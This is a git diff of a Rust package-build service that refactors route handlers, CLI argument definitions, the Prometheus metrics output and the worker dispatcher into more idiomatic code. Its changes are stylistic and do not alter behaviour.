@@ -142,7 +138,7 @@ fn chrome(state: &State, req: &Req, title: &str, active: &str) -> Page {
}
fn csrf(_state: &State, req: &Req) -> String {
- req.cookie("sid").map(|s| auth::csrf_token(&s)).unwrap_or_default()
+ req.cookie("sid").map_or_default(|s| auth::csrf_token(&s))
}
fn human_size(bytes: i64) -> String {
diff --git a/src/http/routes/mutations.rs b/src/http/routes/mutations.rs
index ad11dfa..0d3b188 100644
--- a/src/http/routes/mutations.rs
+++ b/src/http/routes/mutations.rs
@@ -2,7 +2,10 @@ use crate::http::{Req, Res, State};
use crate::review::candidates;
use crate::usecase;
-use super::*;
+use super::{
+ actor, builds_with, chrome, flash_sub, not_found, page_to_res, panels_base, review_body, review_rows, short,
+ Packages, ReviewDetail, ReviewsPage,
+};
// -------------------------------------------------------------- approve --
@@ -102,21 +105,9 @@ pub(crate) fn review_reject(state: &State, req: &Req, id: &str) -> Res {
pub(crate) fn reviews_bulk(state: &State, req: &Req) -> Res {
let db = &state.db;
let form = req.form();
- let ids: Vec<i64> = form
- .iter()
- .filter(|(k, _)| k == "ids")
- .filter_map(|(_, v)| v.parse().ok())
- .collect();
- let decision = form
- .iter()
- .find(|(k, _)| k == "decision")
- .map(|(_, v)| v.clone())
- .unwrap_or_default();
- let confirmed: Vec<i64> = form
- .iter()
- .filter(|(k, _)| k == "confirm")
- .filter_map(|(_, v)| v.parse().ok())
- .collect();
+ let ids: Vec<i64> = form.iter().filter(|(k, _)| k == "ids").filter_map(|(_, v)| v.parse().ok()).collect();
+ let decision = form.iter().find(|(k, _)| k == "decision").map_or_default(|(_, v)| v.clone());
+ let confirmed: Vec<i64> = form.iter().filter(|(k, _)| k == "confirm").filter_map(|(_, v)| v.parse().ok()).collect();
if ids.is_empty() {
let mut page = chrome(state, req, "Reviews", "nav_reviews");
page.flash = "nothing selected".into();
@@ -185,9 +176,7 @@ pub(crate) fn sub_pause(state: &State, req: &Req) -> Res {
Ok(usecase::Pause::NotApplicable(other)) => {
flash_sub(state, req, &format!("{name} is {other}: nothing to pause"), true)
}
- Ok(usecase::Pause::Unknown) | Err(_) => {
- flash_sub(state, req, &format!("no subscription for {name}"), true)
- }
+ Ok(usecase::Pause::Unknown) | Err(_) => flash_sub(state, req, &format!("no subscription for {name}"), true),
}
}
diff --git a/src/http/routes/pages.rs b/src/http/routes/pages.rs
index e8590b0..9081180 100644
--- a/src/http/routes/pages.rs
+++ b/src/http/routes/pages.rs
@@ -1,9 +1,15 @@
use crate::db::{self, builds, Db};
-use crate::review::{candidates, diff, risk};
-use crate::ops;
use crate::http::{sse, Req, Res, State};
+use crate::ops;
+use crate::review::{candidates, diff, risk};
-use super::*;
+use super::{
+ age, candidate_kind, chrome, human_size, not_found, page_to_res, short, Attention, Audit, AuditRow, BlockedRow,
+ BuildDetail, BuildLite, BuildRow, BuildState, Builds, BuildsTable, CandidateRow, Dashboard, IndexRow, NoticeRow,
+ PackageDetail, Packages, Page, Panel, PublishRow, Recipe, ReviewDetail, ReviewHead, ReviewRow, ReviewsPage,
+ SettingRow, Settings, StaleRow, StepRow, StepState, SubRow, SubscriptionState, Subscriptions, TimelineRow,
+ UnbuiltRow,
+};
// ------------------------------------------------------------- dashboard --
@@ -28,11 +34,11 @@ pub(crate) fn dashboard(state: &State, req: &Req) -> Res {
page_to_res(
Dashboard {
page,
- subscriptions: db::list_subscriptions(db).map(|v| v.len() as i64).unwrap_or(0),
- index_count: db::index_packages(db).map(|v| v.len() as i64).unwrap_or(0),
- pending_reviews: candidates::pending_candidates(db).map(|v| v.len() as i64).unwrap_or(0),
- running_builds: builds::in_flight(db).map(|v| v as i64).unwrap_or(0),
- attention: db::list_notices(db, false).map(|v| v.len() as i64).unwrap_or(0),
+ subscriptions: db::list_subscriptions(db).map_or(0, |v| v.len() as i64),
+ index_count: db::index_packages(db).map_or(0, |v| v.len() as i64),
+ pending_reviews: candidates::pending_candidates(db).map_or(0, |v| v.len() as i64),
+ running_builds: builds::in_flight(db).map_or(0, |v| v as i64),
+ attention: db::list_notices(db, false).map_or(0, |v| v.len() as i64),
publishes,
},
200,
@@ -110,10 +116,7 @@ pub(crate) fn panels_base(c: &CandidateRow) -> (String, bool) {
}
}
-pub(crate) fn review_body(
- state: &State,
- c: &CandidateRow,
-) -> (ReviewHead, Vec<Panel>, String, String, String, String) {
+pub(crate) fn review_body(state: &State, c: &CandidateRow) -> (ReviewHead, Vec<Panel>, String, String, String, String) {
let db = &state.db;
let base = match c.base_release_id {
Some(id) => db::release_by_id(db, id).unwrap_or(None),
@@ -123,7 +126,7 @@ pub(crate) fn review_body(
let rendered = diff::render_text(&panels);
let _ = rendered;
let snapshot = db::snapshot_by_id(db, c.snapshot_id).unwrap_or(None);
- let recipe_json = snapshot.as_ref().map(|s| s.srcinfo_json.clone()).unwrap_or_default();
+ let recipe_json = snapshot.as_ref().map_or_default(|s| s.srcinfo_json.clone());
let parsed: Option<Recipe> = serde_json::from_str(&recipe_json).ok();
let is_first = c.kind == candidate_kind::FIRST_INTRODUCTION;
@@ -138,39 +141,29 @@ pub(crate) fn review_body(
missing_deps: c.missing_deps(),
dependents: crate::watch::staleness::dependents_of(db, &c.pkgbase).unwrap_or_default(),
revision: c.revision,
- aur_commit: snapshot.as_ref().map(|s| s.aur_commit.clone()).unwrap_or_default(),
- aur_commit_short: snapshot
- .as_ref()
- .map(|s| short(&s.aur_commit))
- .unwrap_or_default(),
+ aur_commit: snapshot.as_ref().map_or_default(|s| s.aur_commit.clone()),
+ aur_commit_short: snapshot.as_ref().map_or_default(|s| short(&s.aur_commit)),
identity_hash: c.identity_hash.clone(),
diff_digest: c.diff_digest.clone(),
};
- let shown: Vec<Panel> = panels
- .iter()
- .map(|p| Panel::new(p.title, p.body.clone()))
- .collect();
+ let shown: Vec<Panel> = panels.iter().map(|p| Panel::new(p.title, p.body.clone())).collect();
let (recipe_text, srcinfo) = match &parsed {
Some(r) => (r.pkgbuild.clone(), r.srcinfo.clone().unwrap_or_default()),
None => (String::new(), String::new()),
};
let sources_resolved = serde_json::to_string_pretty(
- &serde_json::from_str::<serde_json::Value>(&c.source_digests_json)
- .unwrap_or_else(|_| serde_json::json!([])),
+ &serde_json::from_str::<serde_json::Value>(&c.source_digests_json).unwrap_or_else(|_| serde_json::json!([])),
)
.unwrap_or_default();
- let deps_resolved = parsed
- .as_ref()
- .map(|r| {
- format!(
- "depends: {}\nmakedepends: {}\ncheckdepends: {}\noptdepends: {}",
- r.depends.join(", "),
- r.makedepends.join(", "),
- r.checkdepends.join(", "),
- r.optdepends.join(", ")
- )
- })
- .unwrap_or_default();
+ let deps_resolved = parsed.as_ref().map_or_default(|r| {
+ format!(
+ "depends: {}\nmakedepends: {}\ncheckdepends: {}\noptdepends: {}",
+ r.depends.join(", "),
+ r.makedepends.join(", "),
+ r.checkdepends.join(", "),
+ r.optdepends.join(", ")
+ )
+ });
(head, shown, recipe_text, srcinfo, sources_resolved, deps_resolved)
}
@@ -249,15 +242,9 @@ pub(crate) fn attention(state: &State, req: &Req) -> Res {
build_id: u.build_id,
})
.collect();
- let empty = notices.is_empty()
- && unbuilt.is_empty()
- && outdated.is_empty()
- && missing.is_empty()
- && blocked.is_empty();
- page_to_res(
- Attention { page, empty, notices, unbuilt, outdated, missing, downgrades, blocked },
- 200,
- )
+ let empty =
+ notices.is_empty() && unbuilt.is_empty() && outdated.is_empty() && missing.is_empty() && blocked.is_empty();
+ page_to_res(Attention { page, empty, notices, unbuilt, outdated, missing, downgrades, blocked }, 200)
}
// ------------------------------------------------------------- packages --
@@ -272,7 +259,7 @@ pub(crate) fn packages(state: &State, req: &Req) -> Res {
name: p.name.clone(),
version: p.version.clone(),
arch: p.arch.clone(),
- size: p.size.map(human_size).unwrap_or_else(|| "—".into()),
+ size: p.size.map_or_else(|| "—".into(), human_size),
published_at: p.published_at.clone().unwrap_or_else(|| "—".into()),
})
.collect();
@@ -317,16 +304,13 @@ pub(crate) fn package_detail(state: &State, req: &Req, name: &str) -> Res {
step: b.current_step.unwrap_or_default(),
})
.collect();
- let deps_in: Vec<String> = accepted
- .as_ref()
- .and_then(|r| db::accepted_recipe(db, r).ok().flatten())
- .map(|r| {
+ let deps_in: Vec<String> =
+ accepted.as_ref().and_then(|r| db::accepted_recipe(db, r).ok().flatten()).map_or_default(|r| {
let mut v = crate::pkgver::dep_names(&r.depends);
v.sort();
v.dedup();
v
- })
- .unwrap_or_default();
+ });
let deps_out: Vec<String> = crate::watch::staleness::dependents_of(db, name).unwrap_or_default();
let stale: Vec<String> = crate::watch::staleness::stale_for(db, name)
.unwrap_or_default()
@@ -383,43 +367,32 @@ fn build_version(db: &Db, b: &builds::BuildRow) -> String {
}
fn build_rows(state: &State) -> Vec<BuildRow> {
- builds::list(
- &state.db,
- BuildState::active(),
- 100,
- )
- .unwrap_or_default()
- .into_iter()
- .map(|b| {
- let pkgbase = db::get_pkgbase_by_id(&state.db, b.pkgbase_id)
- .ok()
- .flatten()
- .map(|p| p.name)
- .unwrap_or_default();
- let version = build_version(&state.db, &b);
- BuildRow {
- id_short: short(&b.id),
- id: b.id,
- pkgbase,
- version,
- kind: b.kind,
- state: b.state.to_string(),
- step: b.current_step.unwrap_or_default(),
- lease: b.lease_expires_at.unwrap_or_else(|| "—".into()),
- cancel: b.cancel_requested,
- error: b.error.unwrap_or_default(),
- }
- })
- .collect()
+ builds::list(&state.db, BuildState::active(), 100)
+ .unwrap_or_default()
+ .into_iter()
+ .map(|b| {
+ let pkgbase = db::get_pkgbase_by_id(&state.db, b.pkgbase_id).ok().flatten().map_or_default(|p| p.name);
+ let version = build_version(&state.db, &b);
+ BuildRow {
+ id_short: short(&b.id),
+ id: b.id,
+ pkgbase,
+ version,
+ kind: b.kind,
+ state: b.state.to_string(),
+ step: b.current_step.unwrap_or_default(),
+ lease: b.lease_expires_at.unwrap_or_else(|| "—".into()),
+ cancel: b.cancel_requested,
+ error: b.error.unwrap_or_default(),
+ }
+ })
+ .collect()
}
pub(crate) fn builds_page(state: &State, req: &Req) -> Res {
let page = chrome(state, req, "Builds", "nav_builds");
if req.query_get("fragment").as_deref() == Some("1") {
- return page_to_res(
- BuildsTable { page, rows: build_rows(state), recent: recent_rows(state) },
- 200,
- );
+ return page_to_res(BuildsTable { page, rows: build_rows(state), recent: recent_rows(state) }, 200);
}
builds_with(state, req, page)
}
@@ -429,7 +402,7 @@ fn recent_rows(state: &State) -> Vec<BuildRow> {
.unwrap_or_default()
.into_iter()
.map(|b| {
- let pkgbase = db::get_pkgbase_by_id(&state.db, b.pkgbase_id).ok().flatten().map(|p| p.name).unwrap_or_default();
+ let pkgbase = db::get_pkgbase_by_id(&state.db, b.pkgbase_id).ok().flatten().map_or_default(|p| p.name);
let version = build_version(&state.db, &b);
BuildRow {
id_short: short(&b.id),
@@ -477,7 +450,7 @@ pub(crate) fn build_detail(state: &State, req: &Req, id: &str) -> Res {
let lines: Vec<&str> = all.lines().collect();
let tail = lines[lines.len().saturating_sub(200)..].join("\n");
let blocked_on: Vec<String> = serde_json::from_str(&b.blocked_on_json).unwrap_or_default();
- let pkgbase = db::get_pkgbase_by_id(db, b.pkgbase_id).ok().flatten().map(|p| p.name).unwrap_or_default();
+ let pkgbase = db::get_pkgbase_by_id(db, b.pkgbase_id).ok().flatten().map_or_default(|p| p.name);
page_to_res(
BuildDetail {
page,
diff --git a/src/http/sse.rs b/src/http/sse.rs
index 03e09ff..36a9d42 100644
--- a/src/http/sse.rs
+++ b/src/http/sse.rs
@@ -13,7 +13,7 @@ const POLL: Duration = Duration::from_millis(200);
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod log_tail {
- use super::*;
+ use super::{builds, io, read_from, Duration, Instant, PathBuf, Read, KEEPALIVE, MAX_LIFETIME, POLL};
pub struct LogTail {
path: PathBuf,
@@ -120,13 +120,8 @@ pub use log_tail::LogTail;
#[cfg(not(feature = "test-support"))]
pub(crate) use log_tail::LogTail;
-
-
fn read_from(path: &Path, offset: u64) -> (Vec<u8>, bool) {
- let mut f = match std::fs::File::open(path) {
- Ok(f) => f,
- Err(_) => return (Vec::new(), false),
- };
+ let Ok(mut f) = std::fs::File::open(path) else { return (Vec::new(), false) };
use std::io::Seek;
if f.seek(std::io::SeekFrom::Start(offset)).is_err() {
return (Vec::new(), false);
diff --git a/src/main.rs b/src/main.rs
index 118d06e..5881102 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -3,7 +3,7 @@ use std::path::PathBuf;
use clap::{Parser, Subcommand};
use aur_build::config::Config;
-use aur_build::db::{self, builds, model::*};
+use aur_build::db::{self, builds, model::BuildState};
use aur_build::pipeline;
use aur_build::review::candidates;
use aur_build::usecase;
@@ -30,13 +30,19 @@ enum Cmd {
#[arg(long)]
url: Option<String>,
},
- Unsubscribe { pkgbase: String },
- Detect { pkgbase: Option<String> },
+ Unsubscribe {
+ pkgbase: String,
+ },
+ Detect {
+ pkgbase: Option<String>,
+ },
Reviews {
#[arg(long)]
all: bool,
},
- Show { candidate: i64 },
+ Show {
+ candidate: i64,
+ },
Approve {
candidate: i64,
#[arg(long)]
@@ -53,11 +59,19 @@ enum Cmd {
#[arg(long)]
note: String,
},
- Build { candidate: i64 },
- Rebuild { pkgbase: String },
- Run { build: String },
+ Build {
+ candidate: i64,
+ },
+ Rebuild {
+ pkgbase: String,
+ },
+ Run {
+ build: String,
+ },
Builds,
- Status { build: String },
+ Status {
+ build: String,
+ },
Packages,
Serve {
#[arg(long)]
@@ -83,10 +97,7 @@ fn main() -> anyhow::Result<()> {
let cli = Cli::parse();
let root = cli.root.clone().unwrap_or_else(|| Config::default().root);
let cfg = if matches!(cli.cmd, Cmd::Init { .. }) {
- Config::load(&root).unwrap_or_else(|_| Config {
- root: root.clone(),
- ..Config::default()
- })
+ Config::load(&root).unwrap_or_else(|_| Config { root: root.clone(), ..Config::default() })
} else {
Config::load(&root)?
};
@@ -141,11 +152,8 @@ fn main() -> anyhow::Result<()> {
Ok(())
}
Cmd::Reviews { all } => {
- let rows = if all {
- candidates::all_candidates(&ctx.db)?
- } else {
- candidates::pending_candidates(&ctx.db)?
- };
+ let rows =
+ if all { candidates::all_candidates(&ctx.db)? } else { candidates::pending_candidates(&ctx.db)? };
if rows.is_empty() {
println!("nothing pending");
}
@@ -289,7 +297,7 @@ fn main() -> anyhow::Result<()> {
let path = usecase::backup(&ctx.db, &to)?;
println!(
"wrote {} bytes to {} (VACUUM INTO, single file, no WAL)",
- std::fs::metadata(&path).map(|m| m.len()).unwrap_or(0),
+ std::fs::metadata(&path).map_or(0, |m| m.len()),
path.display()
);
Ok(())
@@ -310,4 +318,3 @@ impl Ctx {
fn whoami() -> String {
std::env::var("USER").or_else(|_| std::env::var("USERNAME")).unwrap_or_else(|_| "cli".into())
}
-
diff --git a/src/ops.rs b/src/ops.rs
index 0afda76..a54ab69 100644
--- a/src/ops.rs
+++ b/src/ops.rs
@@ -65,89 +65,90 @@ impl Metrics {
}
pub fn to_prometheus(&self) -> String {
+ use std::fmt::Write as _;
let mut o = String::new();
- o.push_str("# HELP aurbuild_up Always 1: the process answered the scrape.\n# TYPE aurbuild_up gauge\naurbuild_up 1\n");
- o.push_str(&header("aurbuild_queue_depth", "Builds waiting to run."));
- o.push_str(&format!("aurbuild_queue_depth {}\n", self.queue_depth));
- o.push_str(&header("aurbuild_oldest_queued_age_seconds", "How long the oldest queued build has waited."));
- o.push_str(&format!("aurbuild_oldest_queued_age_seconds {}\n", self.oldest_queued_age_secs));
+ gauge(&mut o, "aurbuild_up", "Always 1: the process answered the scrape.", 1);
+ gauge(&mut o, "aurbuild_queue_depth", "Builds waiting to run.", self.queue_depth);
+ gauge(
+ &mut o,
+ "aurbuild_oldest_queued_age_seconds",
+ "How long the oldest queued build has waited.",
+ self.oldest_queued_age_secs,
+ );
o.push_str("# HELP aurbuild_builds_total Builds by state.\n# TYPE aurbuild_builds_total gauge\n");
for (state, n) in &self.builds {
- o.push_str(&format!("aurbuild_builds_total{{state=\"{state}\"}} {n}\n"));
+ let _ = writeln!(o, "aurbuild_builds_total{{state=\"{state}\"}} {n}");
}
- o.push_str(&header("aurbuild_pending_review_candidates", "Reviews waiting on a human — the review debt."));
- o.push_str(&format!("aurbuild_pending_review_candidates {}\n", self.pending_review));
+ gauge(
+ &mut o,
+ "aurbuild_pending_review_candidates",
+ "Reviews waiting on a human — the review debt.",
+ self.pending_review,
+ );
o.push_str("# HELP aurbuild_pending_review_age_seconds Histogram of how long pending reviews have waited.\n# TYPE aurbuild_pending_review_age_seconds histogram\n");
for le in [3600i64, 21600, 86400, 259200, 604800] {
let n = self.review_ages.iter().filter(|a| **a <= le).count();
- o.push_str(&format!("aurbuild_pending_review_age_seconds_bucket{{le=\"{le}\"}} {n}\n"));
+ let _ = writeln!(o, "aurbuild_pending_review_age_seconds_bucket{{le=\"{le}\"}} {n}");
}
- o.push_str(&format!(
- "aurbuild_pending_review_age_seconds_bucket{{le=\"+Inf\"}} {}\n",
- self.review_ages.len()
- ));
let sum: i64 = self.review_ages.iter().sum();
- o.push_str(&format!("aurbuild_pending_review_age_seconds_sum {sum}\n"));
- o.push_str(&format!("aurbuild_pending_review_age_seconds_count {}\n", self.review_ages.len()));
-
- o.push_str(&header("aurbuild_builds_succeeded_total", "Builds that published."));
- o.push_str(&format!("aurbuild_builds_succeeded_total {}\n", self.succeeded));
- o.push_str(&header("aurbuild_builds_failed_total", "Builds that failed."));
- o.push_str(&format!("aurbuild_builds_failed_total {}\n", self.failed));
- let rate = self.build_success_rate();
- o.push_str(&header("aurbuild_build_success_rate", "Share of recorded builds that succeeded."));
- o.push_str(&format!("aurbuild_build_success_rate {rate:.4}\n"));
-
- o.push_str(&header("aurbuild_blocked_missing_dep", "Builds blocked on a package we have not published."));
- o.push_str(&format!("aurbuild_blocked_missing_dep {}\n", self.blocked_missing_dep));
- o.push_str(&header("aurbuild_index_packages", "Packages in the served index."));
- o.push_str(&format!("aurbuild_index_packages {}\n", self.index_packages));
- o.push_str(&header("aurbuild_releases", "Published releases on record."));
- o.push_str(&format!("aurbuild_releases {}\n", self.releases));
- o.push_str(&header("aurbuild_subscriptions", "Subscribed pkgbases."));
- o.push_str(&format!("aurbuild_subscriptions {}\n", self.subscriptions));
- o.push_str(&header("aurbuild_notices_unseen", "Notices no human has looked at."));
- o.push_str(&format!("aurbuild_notices_unseen {}\n", self.notices_unseen));
+ let _ = writeln!(o, "aurbuild_pending_review_age_seconds_bucket{{le=\"+Inf\"}} {}", self.review_ages.len());
+ let _ = writeln!(o, "aurbuild_pending_review_age_seconds_sum {sum}");
+ let _ = writeln!(o, "aurbuild_pending_review_age_seconds_count {}", self.review_ages.len());
+
+ gauge(&mut o, "aurbuild_builds_succeeded_total", "Builds that published.", self.succeeded);
+ gauge(&mut o, "aurbuild_builds_failed_total", "Builds that failed.", self.failed);
+ gauge(
+ &mut o,
+ "aurbuild_build_success_rate",
+ "Share of recorded builds that succeeded.",
+ format_args!("{:.4}", self.build_success_rate()),
+ );
+
+ gauge(
+ &mut o,
+ "aurbuild_blocked_missing_dep",
+ "Builds blocked on a package we have not published.",
+ self.blocked_missing_dep,
+ );
+ gauge(&mut o, "aurbuild_index_packages", "Packages in the served index.", self.index_packages);
+ gauge(&mut o, "aurbuild_releases", "Published releases on record.", self.releases);
+ gauge(&mut o, "aurbuild_subscriptions", "Subscribed pkgbases.", self.subscriptions);
+ gauge(&mut o, "aurbuild_notices_unseen", "Notices no human has looked at.", self.notices_unseen);
o.push_str("# HELP aurbuild_stale_releases Releases whose recorded world no longer matches the index, by reason.\n# TYPE aurbuild_stale_releases gauge\n");
- o.push_str(&format!("aurbuild_stale_releases{{reason=\"outdated\"}} {}\n", self.stale_outdated));
- o.push_str(&format!("aurbuild_stale_releases{{reason=\"missing\"}} {}\n", self.stale_missing));
- o.push_str(&header("aurbuild_downgrades", "Subscriptions where AUR offers a lower version than we serve."));
- o.push_str(&format!("aurbuild_downgrades {}\n", self.downgrades));
-
- o.push_str(&header("aurbuild_sqlite_size_bytes", "Main database file size."));
- o.push_str(&format!("aurbuild_sqlite_size_bytes {}\n", self.db_bytes));
- o.push_str(&header("aurbuild_sqlite_wal_size_bytes", "Write-ahead log size — large means nobody is checkpointing."));
- o.push_str(&format!("aurbuild_sqlite_wal_size_bytes {}\n", self.wal_bytes));
- o.push_str(&header("aurbuild_artifact_bytes", "Bytes held in the content-addressed store."));
- o.push_str(&format!("aurbuild_artifact_bytes {}\n", self.artifact_bytes));
- o.push_str(&header("aurbuild_staging_bytes", "Bytes in disposable staging directories."));
- o.push_str(&format!("aurbuild_staging_bytes {}\n", self.staging_bytes));
- o.push_str(&format!("# TYPE aurbuild_staging_dirs gauge\naurbuild_staging_dirs {}\n", self.staging_dirs));
-
+ let _ = writeln!(o, "aurbuild_stale_releases{{reason=\"outdated\"}} {}", self.stale_outdated);
+ let _ = writeln!(o, "aurbuild_stale_releases{{reason=\"missing\"}} {}", self.stale_missing);
+ gauge(
+ &mut o,
+ "aurbuild_downgrades",
+ "Subscriptions where AUR offers a lower version than we serve.",
+ self.downgrades,
+ );
+
+ gauge(&mut o, "aurbuild_sqlite_size_bytes", "Main database file size.", self.db_bytes);
+ gauge(
+ &mut o,
+ "aurbuild_sqlite_wal_size_bytes",
+ "Write-ahead log size — large means nobody is checkpointing.",
+ self.wal_bytes,
+ );
+ gauge(&mut o, "aurbuild_artifact_bytes", "Bytes held in the content-addressed store.", self.artifact_bytes);
+ gauge(&mut o, "aurbuild_staging_bytes", "Bytes in disposable staging directories.", self.staging_bytes);
+ let _ = writeln!(o, "# TYPE aurbuild_staging_dirs gauge\naurbuild_staging_dirs {}", self.staging_dirs);
+
+ let help = "Seconds since the last successful poll of any source.";
match self.poll_lag_age_secs {
- Some(a) => {
- o.push_str(&header("aurbuild_poll_lag_seconds", "Seconds since the last successful poll of any source."));
- o.push_str(&format!("aurbuild_poll_lag_seconds {a}\n"));
- }
- None => {
- o.push_str(&header("aurbuild_poll_lag_seconds", "Seconds since the last successful poll of any source."));
- o.push_str("aurbuild_poll_lag_seconds nan\n");
- }
+ Some(a) => gauge(&mut o, "aurbuild_poll_lag_seconds", help, a),
+ None => gauge(&mut o, "aurbuild_poll_lag_seconds", help, "nan"),
}
+ let help = "Seconds since the last retention run.";
match self.last_gc_age_secs {
- Some(a) => {
- o.push_str(&header("aurbuild_last_gc_age_seconds", "Seconds since the last retention run."));
- o.push_str(&format!("aurbuild_last_gc_age_seconds {a}\n"));
- }
- None => {
- o.push_str(&header("aurbuild_last_gc_age_seconds", "Seconds since the last retention run."));
- o.push_str("aurbuild_last_gc_age_seconds nan\n");
- }
+ Some(a) => gauge(&mut o, "aurbuild_last_gc_age_seconds", help, a),
+ None => gauge(&mut o, "aurbuild_last_gc_age_seconds", help, "nan"),
}
o
}
@@ -158,9 +159,7 @@ pub fn metrics(cfg: &Config, db: &Db) -> Result<Metrics> {
let now = time::now();
m.builds = db::build_state_counts(db)?;
- let count = |state: &str| -> i64 {
- m.builds.iter().find(|(s, _)| s == state).map(|(_, n)| *n).unwrap_or(0)
- };
+ let count = |state: &str| -> i64 { m.builds.iter().find(|(s, _)| s == state).map_or(0, |(_, n)| *n) };
m.queue_depth = count("queued");
m.succeeded = count("succeeded");
m.failed = count("failed");
@@ -170,7 +169,7 @@ pub fn metrics(cfg: &Config, db: &Db) -> Result<Metrics> {
m.pending_review = db::count_pending_reviews(db)?;
m.review_ages = db::pending_review_ages_secs(db, &now)?;
- m.review_ages.sort();
+ m.review_ages.sort_unstable();
m.index_packages = db::count_index_packages(db)?;
m.releases = db::count_published_releases(db)?;
@@ -195,12 +194,14 @@ pub fn metrics(cfg: &Config, db: &Db) -> Result<Metrics> {
Ok(m)
}
-fn header(name: &str, help: &str) -> String {
- format!("# HELP {name} {help}\n# TYPE {name} gauge\n")
+/// One Prometheus gauge: its `# HELP`, its `# TYPE`, and its value.
+fn gauge(o: &mut String, name: &str, help: &str, value: impl std::fmt::Display) {
+ use std::fmt::Write as _;
+ let _ = write!(o, "# HELP {name} {help}\n# TYPE {name} gauge\n{name} {value}\n");
}
fn file_len(p: &Path) -> u64 {
- std::fs::metadata(p).map(|m| m.len()).unwrap_or(0)
+ std::fs::metadata(p).map_or(0, |m| m.len())
}
fn staging_usage(root: &Path) -> (usize, u64) {
@@ -342,9 +343,7 @@ pub fn release_files(cfg: &Config, db: &Db, release_id: i64) -> Result<Vec<PathB
out.push(PathBuf::from(p));
}
}
- let digests = db::release_by_id(db, release_id)?
- .map(|r| r.source_digests_json)
- .unwrap_or_else(|| "[]".into());
+ let digests = db::release_by_id(db, release_id)?.map_or_else(|| "[]".into(), |r| r.source_digests_json);
if let Ok(list) = serde_json::from_str::<Vec<db::SourceDigest>>(&digests) {
for d in list {
if !d.digest.is_empty() {
@@ -438,8 +437,7 @@ pub fn backup(db: &Db, dest: &Path) -> Result<PathBuf> {
}
}
db::backup_to(&db.writer, &dest)?;
- let version = db::schema_version(&dest)
- .map_err(|e| crate::error::Error::db(format!("backup unreadable: {e}")))?;
+ let version = db::schema_version(&dest).map_err(|e| crate::error::Error::db(format!("backup unreadable: {e}")))?;
if version <= 0 {
return Err(crate::error::Error::db("backup does not contain a migrated database"));
}
diff --git a/src/pipeline/dispatch.rs b/src/pipeline/dispatch.rs
index 8e35f0a..b2d3933 100644
--- a/src/pipeline/dispatch.rs
+++ b/src/pipeline/dispatch.rs
@@ -26,26 +26,24 @@ impl Pool {
let mut handles = Vec::new();
for n in 0..workers {
- let cfg = cfg.clone();
+ let cfg = Arc::clone(&cfg);
let db = db.clone();
- let stop = stop.clone();
+ let stop = Arc::clone(&stop);
let rx = rx.clone();
handles.push(
std::thread::Builder::new()
.name(format!("worker-{n}"))
- .spawn(crate::time::inherit(move || worker(cfg, db, rx, stop)))
+ .spawn(crate::time::inherit(move || worker(&cfg, &db, &rx, &stop)))
.expect("spawn worker"),
);
}
drop(rx);
- let cfg2 = cfg.clone();
- let db2 = db.clone();
- let stop2 = stop.clone();
+ let dispatcher_stop = Arc::clone(&stop);
handles.push(
std::thread::Builder::new()
.name("dispatcher".into())
- .spawn(crate::time::inherit(move || dispatcher(cfg2, db2, stop2, tx)))
+ .spawn(crate::time::inherit(move || dispatcher(&cfg, &db, &dispatcher_stop, &tx)))
.expect("spawn dispatcher"),
);
@@ -66,13 +64,13 @@ impl Pool {
}
}
-fn dispatcher(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>, tx: Sender<String>) {
+fn dispatcher(cfg: &Config, db: &Db, stop: &AtomicBool, tx: &Sender<String>) {
while !stop.load(Ordering::SeqCst) {
- dispatch_once(&cfg, &db, &tx);
+ dispatch_once(cfg, db, tx);
if !crate::time::wait(
std::time::Duration::from_secs(cfg.dispatch_tick_secs),
std::time::Duration::from_millis(200),
- &stop,
+ stop,
) {
break;
}
@@ -96,14 +94,7 @@ fn dispatch_once(cfg: &Config, db: &Db, tx: &Sender<String>) -> Vec<String> {
fn dispatch_once_impl(cfg: &Config, db: &Db, tx: &Sender<String>) -> Vec<String> {
let reaped = builds::reap_expired(db).unwrap_or(0);
if reaped > 0 {
- db::audit_system(
- &db.writer,
- "build.reaped",
- "build",
- "*",
- serde_json::json!({"requeued": reaped}),
- )
- .ok();
+ db::audit_system(&db.writer, "build.reaped", "build", "*", serde_json::json!({"requeued": reaped})).ok();
}
let _ = builds::requeue_blocked(db);
let _ = builds::cancel_superseded(db);
@@ -165,10 +156,7 @@ fn free_disk_mb(path: &std::path::Path) -> u64 {
fn free_disk_mb_impl(path: &std::path::Path) -> u64 {
use std::ffi::CString;
- let c = match CString::new(path.as_os_str().to_string_lossy().as_bytes()) {
- Ok(c) => c,
- Err(_) => return u64::MAX,
- };
+ let Ok(c) = CString::new(path.as_os_str().to_string_lossy().as_bytes()) else { return u64::MAX };
let mut stat: libc::statvfs = unsafe { std::mem::zeroed() };
let rc = unsafe { libc::statvfs(c.as_ptr(), &mut stat) };
if rc != 0 {
@@ -179,17 +167,17 @@ fn free_disk_mb_impl(path: &std::path::Path) -> u64 {
avail * bsize / (1024 * 1024)
}
-fn worker(cfg: Arc<Config>, db: Db, rx: crossbeam_channel::Receiver<String>, stop: Arc<AtomicBool>) {
- for id in rx.iter() {
+fn worker(cfg: &Config, db: &Db, rx: &crossbeam_channel::Receiver<String>, stop: &AtomicBool) {
+ for id in rx {
if stop.load(Ordering::SeqCst) {
- let _ = builds::requeue_transient(&db, &id);
+ let _ = builds::requeue_transient(db, &id);
continue;
}
- let attempt = builds::get(&db, &id).ok().flatten().map(|b| b.attempt).unwrap_or(1);
- match pipeline::run(&cfg, &db, &id) {
+ let attempt = builds::get(db, &id).ok().flatten().map_or(1, |b| b.attempt);
+ match pipeline::run(cfg, db, &id) {
Ok(Outcome::Failed { transient, .. }) => {
if transient && attempt < cfg.max_transient_attempts {
- let _ = builds::requeue_transient(&db, &id);
+ let _ = builds::requeue_transient(db, &id);
db::audit_system(
&db.writer,
"build.retry",
@@ -201,7 +189,7 @@ fn worker(cfg: Arc<Config>, db: Db, rx: crossbeam_channel::Receiver<String>, sto
}
}
Ok(Outcome::Cancelled) => {}
- Ok(Outcome::Blocked { .. }) | Ok(Outcome::Succeeded { .. }) | Err(_) => {}
+ Ok(Outcome::Blocked { .. } | Outcome::Succeeded { .. }) | Err(_) => {}
}
if stop.load(Ordering::SeqCst) {
break;
diff --git a/src/pipeline/mod.rs b/src/pipeline/mod.rs
index 3e63a69..5bc7cdb 100644
--- a/src/pipeline/mod.rs
+++ b/src/pipeline/mod.rs
@@ -1,5 +1,5 @@
-pub mod publish;
pub mod dispatch;
+pub mod publish;
mod steps;
use std::path::PathBuf;
